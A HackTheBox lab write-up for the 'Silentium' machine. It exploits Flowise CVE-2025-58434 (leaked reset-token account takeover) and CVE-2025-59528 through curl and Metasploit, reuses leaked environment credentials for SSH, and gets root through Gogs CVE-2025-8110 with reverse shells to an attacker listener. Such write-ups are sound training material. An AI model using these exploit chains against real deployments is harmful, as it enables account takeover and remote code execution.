Silentium

📅 Last Updated: Apr 13, 2026 07:10 | 📄 Size: 16.2 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ nmap -sC -sV -Pn 10.129.245.103 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 16:02 +0000
Nmap scan report for 10.129.245.103
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 232.06 seconds

Let's add silentium.htbto our /etc/hosts

silentium.htb

From the index page, I did not find anything interesting here.

I would continue to fuzz the web contents of this website

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ ffuf -u http://silentium.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -fs 8753

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://silentium.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 8753
________________________________________________

assets                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 451ms]
:: Progress: [4614/4614] :: Job [1/1] :: 102 req/sec :: Duration: [0:00:48] :: Errors: 0 ::

Still not found anything interesting, continue to fuzz the sub domains

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ ffuf -u http://silentium.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.silentium.htb" -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://silentium.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.silentium.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 429ms]

We can find a new sub domain staging.silentium.htb

staging.silentium.htb

Now we can get a new page to let us login to Flowiseservice

By simply checking the CVE of this service, we can find 2 critical vulnerable targets

CVE-2025-59528
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p
RCE in FlowiseAI/Flowise

CVE-2025-58434
https://github.com/advisories/GHSA-wgpv-6j63-x5ph
Flowise Cloud and Local Deployments have Unauthenticated Password Reset Token Disclosure that Leads to Account Takeover

For the CVE-2025-59528, we need to control one existed account and then use that account to remote code execution.

CVE-2025-58434can help us control the existed account, but we need to enumerate the valid account username.

Come back to silentium.htb, we can find some target account

Now the target could be

marcus@silentium.htb
thorne@silentium.htb
thornemarcus@silentium.htb

ben@silentium.htb

elena@silentium.htb
rossi@silentium.htb
elenarossi@silentium.htb

Also we can use forget password page to verify the existed account

If the account is not existed, it would give back user not found

If existed, it would send the email successfully

Now we have known ben@silentium.htbis existed, now let's try to control this account with the poc

PoC
1, Request a reset token for the victim
curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}​}'
  
2, Use the exposed tempToken to reset the password
curl -i -X POST https://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"ben@silentium.htb",
          "tempToken":"<redacted-tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'

Let's verify it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}​}'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 13 Apr 2026 06:37:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 579
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"243-S82ntWxzXphceoPEBN6YshjPoaI"

{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG","tempToken":"qRnv1OhQ8o6FTVJb8vhdSfJmTKS6vPoNiPD3H5Zq60gpzDfF2LaST4fMjdXJJlEv","tokenExpiry":"2026-04-13T06:52:32.890Z","status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-04-13T06:37:32.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}​}  

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"ben@silentium.htb",
          "tempToken":"qRnv1OhQ8o6FTVJb8vhdSfJmTKS6vPoNiPD3H5Zq60gpzDfF2LaST4fMjdXJJlEv",
          "password":"NewSecurePassword123!"
        }
      }'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 13 Apr 2026 06:38:36 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 493
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"1ed-ZQwjg0evhQSMVJbJxDiKX7mUue8"

{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$cqDyi1ro1m6ekc3MHEjOJuIG.kGP8NT6/woe5L2YOidcb9usUvMum","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-04-13T06:38:36.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}​} 

Now we can access to dashboard

It worked and also we can check the version

This version is also worked for CVE-2025-59528, also we can find the exploit script from msfconsole

use exploit/multi/http/flowise_js_rce
set FLOWISE_EMAIL ben@silentium.htb
set FLOWISE_PASSWORD 'NewSecurePassword123!'
set RHOSTS staging.silentium.htb
set RPORT 80
set PAYLOAD cmd/unix/reverse_netcat
set ENCODER generic/none
set LHOST tun0
set LPORT 4444
run -j

Then we can get the shell as root of container

whoami
root
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
pwd
/
ifconfig
eth0      Link encap:Ethernet  HWaddr 16:B7:71:0D:5F:DB  
          inet addr:172.18.0.2  Bcast:172.18.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:29838 errors:0 dropped:0 overruns:0 frame:0
          TX packets:21860 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:2841263 (2.7 MiB)  TX bytes:20652668 (19.6 MiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:7048 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7048 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:764547 (746.6 KiB)  TX bytes:764547 (746.6 KiB)

Escape from docker container

Firstly, let's check env

env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

Now we can get the credit

FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge

I would try to use these passwords to ssh connect to the ben@silentium.htb r04D!!_R4geworked here, now we shell as ben

ben@silentium:~$ whoami
ben
ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)

Privilege Escalation

Firstly, I would check sudo -lfirstly

ben@silentium:~$ sudo -l
[sudo] password for ben: 
Sorry, user ben may not run sudo on silentium.

Continue to use check the network state

ben@silentium:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8025          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:38005         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1025          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -  

Port 3000 hosts the Flowise instance, while port 3001 exposes the Gogs service

ben@silentium:~$ curl http://127.0.0.1:3001 | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0<!DOCTYPE html>
<html>
<head data-suburl="">
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge"/>

                <meta name="author" content="Gogs" />
                <meta name="description" content="Gogs is a painless self-hosted Git service" />
                <meta name="keywords" content="go, git, self-hosted, gogs">
1
00  8049    0  8049    0     0  1623k      0 --:--:-- --:--:-- --:--:-- 1965k
curl: Failed writing body
ben@silentium:~$ ps -ef | grep gogs
root        1519       1  0 04:49 ?        00:00:01 /opt/gogs/gogs/gogs web
ben        16745   16101  0 06:56 pts/0    00:00:00 grep --color=auto gogs
ben@silentium:~$ ls -al /opt
total 16
drwxr-xr-x  4 root root 4096 Apr  8 18:30 .
drwxr-xr-x 22 root root 4096 Apr  8 09:41 ..
drwx--x--x  4 root root 4096 Apr  8 09:41 containerd
drwxr-xr-x  6 root root 4096 Apr  8 09:41 gogs

Now we can use ssh to port forwarding to our local machine

Also we can find benis the valid account I have tried all the passwords we have got, but they all not worked here

By simply checking the vulnerable CVE, we can find

A symlink bypass (CVE-2025-8110) of a previously patched RCE (CVE-2024-55947) allows authenticated users to overwrite files outside the repository, leading to Remote Code Execution (RCE).

Also we can find a valid exploit script

https://github.com/zAbuQasem/gogs-CVE-2025-8110/tree/main

The attack chain is clear

create repo 
    -> 
commit symlink 
    -> 
use PutContents on symlink 
    -> 
overwrite .git/config 
    -> 
trigger sshCommand

Before we run the exploit script, we need to create a new account by ourselves, and change the script about register part.

username = "zAbuQasem"
password = "SuperSecurePass123!"

register(session, args.url, username, password)
login(session, args.url, username, password)
token = get_application_token(session, args.url)

== > 

"""
self created account
"""
username = "test"
password = "test"

login(session, args.url, username, password)
token = get_application_token(session, args.url)
...

After running the exploit script, now we can get the shell as root

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ python3 CVE-2025-8110.py -u http://127.0.0.1:3001 -lh 10.10.14.14 -lp 443
[+] Authenticated successfully
Token generation status: 200
[+] Application token: 7cd214274389bb1d6f124bded7f5db8275ab3193
Repo creation status: 201
Cloning into '/tmp/252237891f5d'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 245 bytes | 245.00 KiB/s, done.
[master 7ef78d8] Add malicious symlink
 1 file changed, 1 insertion(+)
 create mode 120000 malicious_link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 297 bytes | 297.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To http://127.0.0.1:3001/test/252237891f5d.git
   16d1e7e..7ef78d8  master -> master
[+] Exploit sent, check your listener!

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Silentium]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.129.245.103] 45264
bash: cannot set terminal process group (1519): Inappropriate ioctl for device
bash: no job control in this shell
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/2# whoami
whoami
root

Description

Overall, it's a very simple Linux machine; all the vulnerable versions are easy to find.